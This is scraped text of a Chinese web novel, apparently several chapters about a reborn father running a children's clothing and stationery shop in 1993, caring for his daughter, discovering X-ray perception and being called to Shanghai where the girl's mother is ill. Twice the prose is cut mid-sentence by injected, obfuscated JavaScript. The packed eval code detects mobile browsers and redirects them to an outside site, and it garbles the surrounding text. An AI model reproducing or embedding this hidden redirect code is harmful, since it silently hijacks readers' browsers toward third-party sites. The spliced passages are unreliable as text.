下午回家写完幼儿园布置的描红作业,才能拆橡皮玩,好不好?” 他知道女儿爱贪玩,每次拿到新玩具就不想写作业,得用小约定帮她养成好习惯,而且描红作业能锻炼孩子的手部协调能力,为以后写字打下基础。 “好!我能做到!” 笑笑用力点头,小脑袋在林凡的怀里蹭了蹭,像只找温暖的小猫,把脸贴在他的胸口,能清晰地听到爸爸的心跳声,让她觉得特别安心。 她忽然想起什么,仰着小脸凑到林凡耳边,声音压得低低的,像在分享什么天大的秘密: “爸爸,我跟你说哦,昨天在幼儿园,小雨的画笔撒了一地,红色的、蓝色的、黄色的,到处都是,还有一支绿色的画笔滚到了桌子底下,都是我帮她捡起来整理好的。 我还帮她把画笔按颜色分类放进笔盒里,老师还摸我的头说‘笑笑真是个懂事的乖孩子’呢!”说这话时,她的眼睛亮晶晶的,满是骄傲,小脸蛋因为兴奋而微微泛红。 正说着,店门被推开,挂在门上的风铃“叮当作响”,清脆的声音在店里回荡,那风铃是笑笑亲手做的,用彩色的珠子和绳子串起来,虽然不怎么精致,却充满了童趣。 王猛拎着两个印着“笑笑宝贝屋”logo的纸袋走进来,脸上带着汗,额前的头发都湿了贴在皮肤上,汗水顺着脸颊往下淌,他却笑得爽朗,声音洪亮: “凡子,刚把最后一批新到的童装送到隔壁小区的顾客家,你猜怎么着? 那宝妈拉着我聊了好一会儿,说咱们家的衣服面料软,她家孩子是过敏体质,穿别的牌子总起红疹,身上又痒又难受, 去医院看了好几次都没彻底好,就穿咱们家的没事,还说下次要带闺蜜来团购,至少要订个七八套呢!” 王猛是林凡的发小,两人从小一起长大,又是在一个工厂上班,感情特别好,当初林凡开这家店时,王猛自己的三轮车也不登了,二话不说就来帮忙, 从进货时扛着大包小包的货物,到送货时骑着电动车穿梭在大街小巷,忙前忙后从不抱怨,甚至有时候店里忙不过来,他还会主动加班,连饭都顾不上吃。 笑笑一听见王猛的声音,立刻从林凡怀里滑下来,迈着小短腿“噔噔噔”跑到王猛身边,仰着脖子,小手抓着他的裤腿问: “王叔叔! 我的彩虹橡皮呢? 你早上说过要给我留一块最大的!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688673|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>她一边说,一边晃着王猛的裤腿,生怕王猛忘了这件事。 王猛放下纸袋,弯腰从口袋里掏出一个透明小盒子,里面整整齐齐装着好几块彩虹橡皮,红、橙、黄、绿、青、蓝、紫七种颜色层层叠叠,像小小的彩虹,在灯光下泛着柔和的光泽。 他挑了块最大的递给笑笑,故意逗她: “喏,给你。 不过得告诉叔叔,刚才跟爸爸说在幼儿园帮小朋友整理画笔,是不是真的呀? 可别是编故事骗爸爸开心哦!” 他一边说,一边眯着眼睛笑,眼神里满是宠溺。 “当然是真的!” 笑笑把橡皮紧紧攥在手里,生怕被人抢走,撅着小嘴,小眉头也皱了起来,认真地说: “老师都夸我了呢!王叔叔你要是不信,明天可以去幼儿园问李老师,李老师肯定会跟你说我是乖孩子!” 她的声音虽然不大,却充满了坚定,让人不得不相信她说的是实话。 林凡看着眼前的画面,心里的紧绷忽然就松了些,像被人轻轻扯了扯紧绷的弦,那些因为苏家而产生的压力和焦虑,在这一刻烟消云散。 他看着笑笑举着彩虹橡皮在货架间跑来跑去,一会儿跑到童装区,对着小裙子比划,把粉色的小裙子贴在自己身上, 想象着自己穿上的样子,一会儿又跑到文具区,拿起彩笔对着橡皮画画,在橡皮上画了个小小的笑脸; 看着王猛擦了汗就开始整理新到的文具,他从抽屉里拿出抹布,先把货架擦干净,然后把铅笔一盒盒摆好, 每一盒都摆得整整齐齐,把本子按大小分类,还在旁边放了可爱的小摆件作为装饰; 看着阳光透过玻璃窗洒进来,在地板上投下暖融融的光斑,光斑随着阳光的移动慢慢变化,连空气中都带着淡淡的温馨,那是一种家的味道,让人觉得特别幸福。 是啊,苏家的光环再耀眼,也抵不过女儿软软的拥抱,抵不过搭档真心的帮忙,抵不过顾客一句“衣服穿得舒服”。 据店里的顾客反馈记录显示,近半年来,有超过80%的顾客表示会再次购买,还有30%的顾客会推荐给身边的朋友,这些数据都证明了他的努力没有白费。 他伸手拿起收银台旁的计算器,重新翻开账本—— 这次,他的指尖不再紧绷,翻页时动作都轻柔了许多。 心里只有一个念头:把这家小店经营好,让笑笑能一直这么开心,比什么都重要。 他还想着,以后要把店铺装修得更温馨一些,增加一个儿童游乐区,让孩子们在店里不仅能买到喜欢的东西,还能开心地玩耍。 没过一会儿,笑笑拿着彩虹橡皮跑了回来,小手里还拿着一张画纸,上面用彩笔画了歪歪扭扭的一家人, 有爸爸、有自己,还有王叔叔,爸爸的个子最高,自己的个子最矮,王叔叔手里还拿着一个大大的包裹,旁边还画了好多小星星,星星的颜色有红色、黄色、蓝色,特别鲜艳。 “爸爸你看!我画的我们!” 她把画纸举到林凡面前,眼睛里满是期待,希望能得到爸爸的夸奖。 林凡接过画纸,仔细看着,嘴角的笑意越来越浓,他摸了摸笑笑的头: “画得真好看,咱们把它贴在墙上好不好?” 他打算把店里的一面墙做成“笑脸墙”,专门贴笑笑的画和顾客孩子们的照片,让店里充满更多的爱和温暖。笑笑用力点头,开心地去拿胶带,小脚步轻快极了。 王猛整理完文具,也走了过来,凑到林凡身边说: “凡子,我刚才琢磨着, 下次进货可以多进点那种软面料的童装,上次我去送货,那个宝妈说她家孩子穿了咱们家的衣服后,皮肤再也没起过红疹,还说要把咱们家店铺推荐给小区里其他的宝妈。 还有上次顾客说的加绒卫衣,冬天快到了,天气越来越冷,加绒卫衣肯定好卖,咱们可以多进几个颜色和尺码,满足不同孩子的需求。 另外,文具区可以进点新出的卡通贴纸,现在的孩子都喜欢这些,上次我在批发市场看到有一款印有最新动画角色的贴纸,特别受欢迎,咱们可以进点试试。” 王猛一边说,一边拿出一本相册,给林凡看他厂家给的照片。 林凡点点头,拿出笔在账本上记下来: “我也是这么想的,还有,上次那个宝妈说要团购,咱们得提前准备好库存,别到时候不够,我估计她这次团购至少要二十套,咱们得多进一些,以防万一。 对了,下周可以搞个小活动,买童装送小文具,比如买一件童装送一块彩虹橡皮或者一张卡通贴纸,吸引更多顾客,还能提高店铺的知名度。” 两人你一言我一语,讨论得热火朝天,还商量着要做一些宣传海报,贴在小区和幼儿园附近,让更多人知道“笑笑宝贝屋”。店里的气氛越发热闹起来,充满了欢声笑语。 阳光慢慢移动,光斑也跟着变了位置,从地板移到了货架上,把货架上的童装和文具照得格外鲜艳。 “笑笑宝贝屋”里,笑声、讨论声交织在一起,成了小城里最温暖的风景。 路过的行人透过玻璃门看到店里的景象,都会忍不住停下脚步,脸上露出羡慕的笑容,有的甚至会推门进来,想要感受这份温暖和幸福。 第82章 才发现的重生异能 1993年的12月,北方的寒风似乎带着一股不依不饶的劲儿,裹着细密的雪粒子,像无数小石子般狠狠敲打着“笑笑宝贝屋”的玻璃窗, 发出沙沙的声响,那声音在寂静的小镇街道上格外清晰。 彼时的小镇,经济发展还较为缓慢,手机对于普通居民来说是遥不可及的稀罕物,整个小镇拥有手机的人寥寥无几,店里唯一的通讯工具便是一部挂在墙上的老式座机, 深褐色的机身带着岁月的痕迹,话筒上的按键已经有些磨损。 想联系远方的人,大多时候只能依靠书信,一笔一划地写下思念与近况,再小心翼翼地贴上邮票,等待着信件跨越千山万水送达,更别提能实时看到对方模样的视频通话了。 可即便如此,林凡却觉得这间不足二十平米的小店,比任何豪华宽敞的地方都要踏实。 货架上整齐叠放着的纯棉童装,每一件都承载着他的心血。 为了挑选到优质的童装,他花了整整三天时间,骑着那辆半旧的自行车,跑遍了市区东、西、南三个规模较大的批发市场。 东边的批发市场以款式新颖著称,但价格偏高;西边的批发市场性价比不错,可质量参差不齐;南边的批发市场则以纯棉材质的童装为主,正是他心仪的类型。 经过反复比对和筛选,他专门挑选了支数高达40支的软棉布。这种布料在当时属于高品质面料,不仅洗后不易变形,而且贴在孩子娇嫩的皮肤上格外舒服,不会产生丝毫不适感。 更细心的是,每一件衣服的领口都缝了防滑条,他亲自试过,能有效避免孩子跑动时衣领蹭到下巴,造成皮肤泛红。 柜台里摆放的文具,有一半是他和好友王猛熬了三个通宵共同设计的“亲子款”。 那段时间,他们每天晚上都在店里忙碌,桌上的台灯亮到深夜。 铅笔杆上印着圆脸蛋的笑笑和咧嘴笑的林凡,虽然笔触简单稚嫩,却满是温馨的家庭氛围,每一个线条都凝聚着他们对孩子的喜爱; 笔记本里夹着的涂色画纸,更是精心设计,画着带烟囱的小房子,烟囱里还冒着淡淡的炊烟,仿佛能闻到饭菜的香味; 长耳朵的小兔子竖着耳朵,眼神灵动,仿佛下一秒就要蹦跳起来; 还有手牵手的父女俩,父亲的手掌宽大厚实,紧紧握着女儿的小手,每一张画纸都是林凡照着笑笑平时的涂鸦修改而成,充满了童真与爱意。 “凡子,好消息!” 王猛搓着冻得通红的手,快步走进店里,凛冽的寒风让他的脸颊也泛起了红色,怀里还紧紧抱着个用牛皮纸包着的包裹,呼出的白气在冷空气中很快消散不见。 “昨天市文具批发商张老板又来电话了,说咱们首批500套亲子文具在批发市场的专柜卖得特别火,才一周时间就卖断货了,好多经销商都来问什么时候有货呢! 张老板想再订800套,还说愿意把每套的预付款提高到三成,这可是咱们之前想都不敢想的好事啊!” 他一边兴奋地说着,一边小心翼翼地打开怀里的纸包,露出一块粉白相间的碎花布,布料上的花纹精致又可爱。 “我早上路过巷口李婶的裁缝铺,看到这块布特别适合笑笑,就特意给笑笑裁了下来。 她上次跟我闺女一起玩的时候,还念叨着想要条像小公主一样的小花裙,这布开春天气暖和了就能做,正好赶上穿,到时候咱们笑笑肯定是镇上最漂亮的小公主。” 林凡刚放下手里的账本,听到这话,眼里瞬间亮了起来,仿佛有星光在闪烁,手指无意识地在账本上轻轻敲了敲: “真的?那这单800套的利润,算下来能有小一万了!” 要知道,在1993年的小镇,普通工人的月薪才三百多块,有些效益不好的工厂,月薪甚至只有两百多块, 一万块几乎是普通工人三年的工资总和,这对于刚创业不久的林凡来说,无疑是一笔巨款。 他伸手用力拍了拍王猛的肩膀,语气里满是感激: “当初我把全部积蓄—— 整整八千块都投进这店里,那可是我这么多年省吃俭用攒下来的钱,当时心里也没底,就怕亏了。 你二话不说就跑来帮我,还把家里仅有的一台缝纫机搬来帮忙,那台缝纫机还是你结婚时你媳妇的陪嫁,这份情我这辈子都记着,以后有我的好处,绝对少不了你的。” 王猛摆摆手,笑着把布递过去: “咱哥俩不说这些见外的话,你为了笑笑这么拼,每天起早贪黑的,我帮衬着是应该的。 再说了,我闺女天天念叨笑笑,昨天还跟我说,想周末找笑笑一起在巷口玩跳房子呢,到时候让她们俩好好玩玩。” 正说着,里屋传来一阵细碎的脚步声,扎着两个羊角辫的笑笑抱着她最爱的小熊玩偶跑了出来。 4岁的小丫头穿着一件粉色的小棉袄,这件棉袄是林凡上个月特意去市区最繁华的童装专柜买的,当时花了他半个多月的利润, 棉袄上绣着一只栩栩如生的小兔子,白色的绒毛、红色的眼睛,可爱极了,笑笑每天都要穿着,连睡觉都舍不得脱下来。 她的脸蛋冻得红扑扑的,像熟透的苹果,透着健康的光泽,跑到林凡身边,仰着小脸,用稚嫩的声音说: “爸爸!王叔叔!我刚才数了货架上的小熊袜子,还有八双呢,我能留一双给小熊穿吗?” 说着,还把小熊玩偶举到林凡面前,小眼神认真极了,好像在征求小熊的意见。 林凡弯腰把女儿稳稳抱起来,用下巴上刚冒出来的胡茬轻轻蹭了蹭她的脸蛋,胡茬的触感让笑笑咯咯直笑,清脆的笑声像银铃般在店里回荡: “当然能,我的小公主说留就留,谁都不能跟小熊抢。 中午想吃什么? 爸爸给你做你最爱吃的番茄炒蛋,再煮个鸡蛋羹好不好?番茄炒蛋里的番茄我选最沙的,鸡蛋羹保证嫩滑可口。” 笑笑搂着他的脖子, 把小脑袋埋在他温暖的颈窝里,声音软软的,带着一丝撒娇的意味: “我还想吃豆沙包! 就像上次在巷口早餐铺买的那种,甜甜的,里面的豆沙能流出来,可好吃了。” 林凡笑着点头,在她的小脸上亲了一口,那柔软的触感让他心里暖暖的: “好,下午去店里的时候, 爸爸就去给你买,买两个,一个给你,一个给小熊,让小熊也尝尝甜甜的豆沙包。” 其实林凡心里一直藏着一件事,像一块沉重的石头压在心底,让他时常感到焦虑不安。 自从仅与林凡、笑笑见过几次面的苏瑾瑜上个月来过后,林凡就总怕哪天女儿会离开自己。 苏家人穿着体面,谈吐间带着大城市的气息。 提出要接笑笑去北京生活,说那里有全国最好的学校,有更优越的生活条件,能给笑笑更好的未来。 可林凡怎么舍得让女儿离开自己身边? 笑笑是他的精神支柱,是他生活的全部希望,没有笑笑,他真不知道该怎么活下去。 这些日子,店里的生意越来越好,让他稍微看到了一些希望。 市区那家合作的童装专柜,每个月的销售额都在稳步上涨,上个月单是棉袄就卖了200多件,比隔壁专柜多了近三成。 隔壁专柜主要卖的是化纤材质的棉袄,价格比他们家低一些,但林凡家的棉袄因为材质好、款式新颖,深受消费者喜爱。 按照利润分成,他能多赚一千多块,这可是一笔不小的额外收入。这次和文具批发商的合作,也十分顺利,对方特别看中“亲子款”的创意,觉得这种带着家庭温度的文具很受家长欢迎,市场潜力巨大。 首批500套按每套利润12元算,已经多赚了6000元,再加上这800套,店里的资金会更充裕,他甚至开始计划着扩大店铺规模,增加更多品类的商品。 可就算这样,他还是每天夜里反复检查门窗,确认门锁好后才敢回房休息,生怕有小偷光顾,偷走他辛苦积攒的心血。 睡前必去笑笑的房间,帮她掖好被角,连女儿睡觉爱踢被子,必须把脚露在外面的小习惯都记在心里,生怕她着凉生病。在他心里,女儿的健康和安全比什么都重要。 改变发生在一个加班到深夜的晚上。 店里的阁楼是林凡临时的办公区,空间狭小,只放了一张旧桌子和一把椅子,桌上堆满了账本和各种单据。 只有一台旧台灯亮着,暖黄的光线把他的影子拉得很长,投在斑驳的墙壁上,墙壁上还残留着之前漏水留下的痕迹。 账本上密密麻麻的数字在他眼前晃成一团,长时间的用眼让他眼睛酸涩不已,他揉着发疼的太阳穴,指尖按在酸胀的眼周,试图缓解疲惫。 桌上的搪瓷杯里,凉透的茶水还剩小半杯—— 这是王猛傍晚离开时留下的,特意嘱咐他熬夜记账时能润润嗓子,杯子上还印着“劳动最光荣”的字样, 红色的字体已经有些褪色,这是几年前他在工厂上班时,工厂发的纪念品,陪伴了他很多年。 无意间,林凡的目光落在对面墙上的一块霉点上。 那霉点是去年雨季留下的,当时连续下了半个多月的雨,屋顶有些漏水,墙上渗了水,长出了一片片黑绿色的霉斑。 他当时还特意找工人来修补,可还是留下了这些痕迹。 下一秒,他忽然觉得眼前的墙好像“变透明”了,能清楚看到里面松木的纹理,甚至能辨出一道细如发丝的裂痕。 他愣了一下,心想: “难道是太累眼花了?最近确实休息不好,总是熬夜。” 他猛眨了眨眼,试图让自己清醒一些,再盯着墙看时,那种穿透感又出现了,裂痕的每一处分支都清晰可见。 这是去年雨季受潮留下的,当时他和王猛找工人修补时,还特意在木料里加了防潮剂,没想到深处还藏着痕迹,以前他从未发现过。 他试着看向手边的木桌,桌面下的榫卯结构隐约可见,这种传统的木工工艺让桌子十分牢固,连去年修桌子时钉进去的小钉子都能看到轮廓,甚至能看清钉子的螺纹,每一圈都清晰分明; 他又看向自己的手掌,皮肤下淡青色的血管在缓慢搏动,像细小的溪流在静静流淌,连指骨的轮廓都能模糊感知到,那种感觉奇妙又真实。 他心里又惊又疑,心脏不由自主地加速跳动起来,他起身走到窗边,看向楼下趴在花坛边的流浪猫—— 那只猫是上个月来的,浑身脏兮兮的,瘦得只剩一把骨头,林凡每天都会给它喂点剩饭,时间久了,那只猫也不怕他了,经常在店门口徘徊。 他刚能感知到猫的心脏在胸腔里快速跳动,像小鼓一样咚咚作响,眼前就突然发黑,冷汗瞬间冒了出来, 浸湿了他的后背,他赶紧扶着窗框才勉强站稳,手肘不小心碰倒了桌上的搪瓷杯,凉茶水洒在账本上,晕开一小片墨渍,把上面的数字都糊住了,那些密密麻麻的数字瞬间变得模糊不清。 震惊过后,狂喜像潮水般涌上来—— 这难道是传说中的透视能力? 他以前只在小说和电影里看到过,从未想过会发生在自己身上。 可很快,狂喜又被忐忑压下去,**这种能力是好是坏,会不会对身体有伤害,刚才看流浪猫时的不适还让他心有余悸。 他赶紧拉上阁楼的窗帘,避免被外面的人看到,然后反复试验: 他发现精神越集中,“透视”得越清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694317|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚,看货架上的童装时,能看到布料里细密的棉线,甚至能分辨出棉线的编织方向,哪件衣服的棉线更密集、质量更好,一目了然; 看柜台里的笔记本时,能看到纸页下未干透的墨迹,知道哪一页的墨水还没完全干,避免写字时弄脏纸张; 可每次最多只能坚持半分钟,超过时间就会头晕得厉害,眼前发黑,身体也变得虚弱无力。 而且看桌子、书本这类物品还容易些,一旦试着看向活物,身体就会出现强烈的不适,像刚才看流浪猫那样,又晕又冒冷汗,那种难受的感觉让他再也不敢轻易尝试看活物。 “要是能用来看看笑笑的身体就好了,这样就能知道她有没有哪里不舒服,不用再担心她生病自己却不知道。” 这个念头刚冒出来,就像一颗种子在他心里生根发芽,林凡就立刻下楼,脚步都比平时快了几分,连碰倒的搪瓷杯都忘了扶起来,满脑子都是赶紧去看看女儿的身体状况。 笑笑正躺在床上,抱着小熊玩偶熟睡,小脸蛋红扑扑的,嘴角还带着浅浅的笑意,小眉头偶尔皱一下, 又很快舒展开,不知道梦到了什么开心事,或许是梦到了爸爸带她去公园玩,又或许是梦到了好吃的零食。 林凡轻轻坐在床边,生怕吵醒女儿,他把女儿露在外面的小手放进被窝里,那小手暖暖的,带着孩子特有的温度。 然后他屏住呼吸,集中全部精神看向女儿—— 没有刺眼的光线,只有一种温暖的“感知”慢慢漫开,他能察觉到笑笑体内气血像小溪般顺畅地流动,在血管里欢快地奔涌,充满了活力; 心脏有节奏地跳动,像小鼓轻轻敲着,每一次跳动都充满力量,十分平稳; 五脏六腑都透着鲜活的生气,像春天里刚冒芽的小苗,嫩生生的,充满了生命力,没有一点异常。 看到女儿身体健康,林凡悬着的心终于放了下来,脸上露出了欣慰的笑容。 “爸爸?” 笑笑忽然迷迷糊糊睁开眼,长长的睫毛轻轻颤动着,小手摸索着抓住林凡的衣角,声音还带着刚睡醒的鼻音,软糯糯的: “你怎么还不睡呀?是不是又在想店里的事?爸爸不要太累了。” 林凡赶紧收回精神,揉了揉女儿柔软的头发,那头发像棉花一样柔软,声音放得又轻又柔,生怕吓到女儿: “没有呀,爸爸就是来看看我的小公主睡得香不香。笑笑刚才梦到什么了?嘴角都笑歪了,肯定是好梦吧。” 笑笑眨了眨惺忪的睡眼,小眼睛里还带着一丝迷茫,小声音软软的: “我梦到爸爸带我去公园了,公园里有好多漂亮的花,还有好多小朋友。 爸爸还买了棉花糖,粉色的,好大一个,比我的头还大呢!我吃得满脸都是,爸爸还笑我。” 她说着,还伸出小手比了个大大的圆,脸上满是憧憬,仿佛还沉浸在美好的梦境里。 “等周末天气好,爸爸就带你去, 咱们不仅买棉花糖,还去坐旋转木马,再去玩小火车,好不好?” 林凡捏了捏她的小脸蛋,温热的触感从指尖传到心里,满是踏实和温暖, “快睡吧,明天早上还有你爱吃的豆沙包呢,爸爸已经跟早餐铺的刘叔说好了,让他给你留着热乎的,保证你吃的时候还是软软甜甜的。” 笑笑听话地点点头,往被窝里缩了缩,小手紧紧抱着小熊玩偶,很快又发出均匀的呼吸声,陷入了甜甜的梦乡,脸上还带着满足的笑容。 林凡坐在床边没动,静静地看着女儿的睡颜,心里却翻起了巨浪: 还好,笑笑很健康,这比什么都重要,只要女儿好好的,他再辛苦也值得。 可转念想到苏瑾瑜—— 笑笑的舅舅,他的心又一下子揪紧了——晚晴,笑笑的妈妈,苏瑾瑜说过她在上海养病,那她的身体怎么样了? 会不会也能这样“看”到? 她到底得了什么病? 上次苏瑾瑜来店里,穿着一身名牌西装,神情却有些凝重,只说她身子弱,需要好好休养,却不肯多说一句关于病情的话,连地址都没留下,仿佛在刻意隐瞒什么。 他甚至不知道晚晴现在过得怎么样,有没有按时吃药,有没有人好好照顾她。 一想到这些,林凡就满心焦虑,坐立难安。 这想法让他整夜没睡,脑子里反复思考着如何才能了解到晚晴的情况。 天刚蒙蒙亮,外面还飘着小雪,雪花像鹅毛一样轻轻飘落,给小镇披上了一层薄薄的白纱。 他就起身去店里,心里已经有了一个初步的计划,他想通过努力把生意做得更好,积累更多的资金,或许有一天能凭借自己的能力去上海找晚晴,弄清楚事情的真相。 路过巷口的早餐铺时,他特意停下,早餐铺里已经飘出了阵阵香味,蒸笼里冒着白色的热气。 他买了三个豆沙包和一袋热牛奶—— 笑笑爱吃豆沙包,得给她留一个,让她早上能吃到热乎的; 王猛早上总忙着赶来店里,来不及吃早饭,正好带一个给他当早餐; 剩下的一个,他自己在路上吃,补充体力。 蒸笼里的热气裹着豆沙的甜香飘过来,氤氲在冷空气中,让人心里暖暖的。 林凡攥着温热的纸袋,指尖传来的温度让他心里更坚定了: 不管这透视能力是好是坏, 不管苏家人会不会再来找笑笑,他都要拼尽全力护好笑笑,给她一个安稳、幸福的家; 同时,他也要想办法弄清楚晚晴的情况,哪怕只是远远看一眼, 确认她安好,也要给女儿一个完整的答案,让女儿知道妈妈一直都在关心她。 他相信,只要自己不放弃,总有一天能实现这些。 第83章: 急奔上海 刚走到“笑笑宝贝屋”所在的巷口,午后的阳光像被揉碎的金箔,斜斜地洒在青石板路上。 那些历经岁月打磨的石板,缝隙里还残留着清晨的露水痕迹,阳光落在上面,折射出斑驳又温柔的光影。 巷口那棵老槐树的枝叶舒展着,投下的影子随着微风轻轻晃动,偶尔有几片嫩绿的叶子飘落,在空中打着旋儿,为这宁静的午后添了几分生机。 远远地,就能看见苏瑾瑜那辆熟悉的黑色轿车停在店门口,车身还沾着几星泥点,泥点的形状不规则,显然是从郊外或是颠簸的路段长途奔波而来,还没来得及清洗。 和上次他来店里时的模样截然不同—— 上次他穿着一身笔挺的深灰色西装,西装面料平整得没有一丝褶皱,头发梳得一丝不苟,发胶将每一缕发丝都固定得恰到好处,举手投足间都透着精英人士的干练与从容。 而这次,他推开车门下车时,深灰色西装的肩头沾着一层薄薄的风尘,那风尘像是在喧嚣的高速路上沾染的疲惫,牢牢地附着在面料上。 领带也歪了半截,松垮地挂在领口,原本应该挺括的领口此刻也有些变形。 平日里总是带着温和笑意的脸庞,此刻却凝重得吓人,眉头紧紧拧成了一个疙瘩,仿佛能拧出水来,连眼底都布满了细密的红血丝, 那红血丝像是无数条细小的红线,清晰地勾勒出他连日来的操劳,一看就是熬过了不少不眠之夜。 “林先生,现在就跟我去上海。” 苏瑾瑜几乎是小跑着走到林凡面前,脚步急促得带起一阵风,风里还夹杂着他身上淡淡的汽油味。 他一把拉开后座车门,金属门轴发出“咔嗒”一声轻响,那声音在安静的巷口显得格外清晰。 他的语气里没了之前的试探与委婉,取而代之的是满是不容置疑的急切: “我小姑在同济医院坐诊,她从医三十年,这三十年里,她扎根罕见病诊疗领域,经手过全国近百例罕见病病例,其中不乏一些被其他医院判定为‘疑难杂症’的案例。 她不仅是国内罕见病领域顶尖的权威专家,去年还主持过慢性肉芽肿病诊疗指南的修订工作,这份指南现在已经成为很多医院诊断和治疗该疾病的重要参考依据。 我父亲已经提前过去打点好了住院手续,所有的检查流程都已经安排妥当—— 晚晴姐的情况,现在必须得你们父女俩在身边,她这几天在病房里,总是时不时地念叨着笑笑,有时候说着说着,眼泪就忍不住掉下来了。” 林凡心里“咯噔”一下,那感觉就像是被一块沉重的巨石重重撞在胸口,心脏猛地往下沉,连呼吸都变得有些急促。 他下意识地把刚从幼儿园接来的笑笑往怀里紧了紧,手臂微微用力,仿佛要将女儿牢牢护在自己的羽翼之下。 笑笑今天穿着店里刚到的粉色公主裙,裙摆上绣着小小的草莓图案,那些草莓的针脚细密又可爱,每一颗草莓的轮廓都勾勒得十分精致。 她软乎乎的小手立刻环住林凡的脖子,温热的呼吸拂过他的脸颊,带着淡淡的奶香味。 小脑袋歪着蹭了蹭他的下巴,那柔软的触感让林凡紧绷的神经稍稍放松了一些。 她奶声奶气地问: “爸爸,怎么啦?苏叔叔的表情好像不高兴呀,是不是发生什么不好的事了? 是不是妈妈出什么事了呀?” 林凡轻轻拍了拍笑笑的背,掌心能清晰地感受到女儿温热的体温和柔软的布料,那熟悉的触感像是一股暖流,让他心里的慌乱稍稍压下去一些。 他抬头看向苏瑾瑜,喉咙像是被什么东西堵住了一样,干涩得发疼,声音带着一丝不易察觉的颤抖: “晚晴到底怎么了?你把话说清楚,别这么急急忙忙的,我心里慌得厉害,你这样我根本没办法冷静下来。” “是一种罕见的免疫系统疾病,叫‘慢性肉芽肿病’。” 苏瑾瑜的声音低了些,眼神里满是担忧,那担忧像是化不开的浓雾,笼罩在他的眼底。 他的手指无意识地攥紧了车钥匙,指节因为用力而微微泛白,钥匙上的金属光泽在阳光下闪烁着。 “全国发病率只有百万分之三,这个概率有多低呢? 打个比方,比野生大熊猫的数量还稀有,要知道,目前我国野生大熊猫的数量已经超过了两千只,而患有这种疾病的人,在全国范围内却寥寥无几。 很多基层医生一辈子都遇不到一例,所以在诊断的时候,很容易出现误诊或者漏诊的情况。 之前晚晴姐在本地医院治疗时,就因为医生对这种疾病的认知不足,差点出现严重的肺部感染。 当时她的血氧饱和度降到了80%以下,要知道,正常人的血氧饱和度在95%以上,低于90%就属于严重缺氧,而她当时的情况已经非常危急,差点危及生命。 后来连夜转去上海,经过我小姑团队的紧急救治,才稳住情况。” 他顿了顿,像是在努力整理思绪,又补充道, “不过万幸的是,我小姑一直用最新的靶向免疫制剂给她治疗。 虽然前几个月,晚晴姐的炎症指标一直居高不下,治疗效果不太理想,我们都很担心。 但上**查时,晚晴姐的C反应蛋白和血沉指标突然下降了40%,这在临床上已经是很大的突破了。 我小姑说,这是病情好转的关键信号,很多患者在出现这样的指标变化后,后续的治疗效果都会越来越好。 我父亲昨天看到笑笑的照片,红着眼眶说什么都要见你们,他说孩子是晚晴姐的精神支柱,孩子在身边,晚晴姐有了精神寄托,恢复得肯定会更快。” 指标突然好转? 林凡心里一动,一个念头猛地冒了出来,像一道闪电划过脑海。 他想起自己重生后那奇怪的能力—— 上次笑笑感冒发烧到39度,吃了退烧药也不见好转,小家伙蔫蔫的,连最喜欢的玩具都提不起兴趣。 他当时心疼得不行,只是轻轻摸了摸女儿的额头,心里不停地默念着希望笑笑快点好起来,那种急切的心情仿佛要溢出来。 结果第二天一早,笑笑的烧就退了,又蹦又跳地拉着他要去公园玩,跟没事人一样。 难道重生带来的不只是未来的记忆,还有能影响他人健康的特殊力量? 如果真是这样,那晚晴的好转会不会和自己有关? 没等他细想,笑笑又拉了拉他的衣角,小手紧紧攥着他的衬衫下摆,那力道不大,却让林凡瞬间回过神来。 她小声问: “爸爸,我们是不是要去找妈妈呀?妈妈是不是像幼儿园老师讲的故事里那样,在很远的地方治病,等病好了就会回来陪我玩呀? 妈妈会不会还记得我喜欢吃草莓味的糖果呀?” 这话像一根细针,轻轻扎在林凡的心上,让他鼻子一酸,眼眶瞬间就热了,眼泪差点就要掉下来。 他慢慢蹲下来,小心翼翼地帮女儿理了理小裙子上被风吹乱的褶皱,每一个动作都轻柔无比,生怕弄疼了女儿。 又把她额前垂下来的碎发别到耳后,指尖拂过女儿柔软的皮肤,那细腻的触感让他心里充满了愧疚与温柔。 他的声音放得格外温柔,像是怕惊扰了什么: “对呀,我们要去见妈妈了。 笑笑想妈妈了吗?妈妈肯定也特别想笑笑,说不定现在就在病房里等着我们呢。” 笑笑用力点头,小脑袋在他怀里蹭了蹭,眼睛亮晶晶的,像装了满夜空的星星,闪烁着期待的光芒: “想! 我超级想妈妈的! 我昨天在幼儿园还画了好多画呢! 有妈妈牵着我和爸爸的手,我们一起在公园里看花,公园里有好多好多颜色的花,红色的、黄色的、紫色的,可好看了。 妈妈穿的裙子是粉色的,和我这条一样,我们站在一起,就像两个小公主。 还有我们一家三口在草地上放风筝,风筝是小兔子形状的,耳朵长长的,飞得好高好高,都快碰到云朵了! 我要把画带给妈妈看,妈妈肯定会喜欢的,说不定还会夸我画得好看呢! 到时候我还要给妈妈讲幼儿园里发生的好玩的事,告诉她我今天得了小红花。” 林凡忍不住笑了,眼角的湿润渐渐散去,取而代之的是满满的暖意。 他伸手捏了捏女儿软乎乎的脸蛋,那Q弹的触感让他心里的担忧被这股暖意冲淡了不少。 他站起身,快步走进店里找王猛。 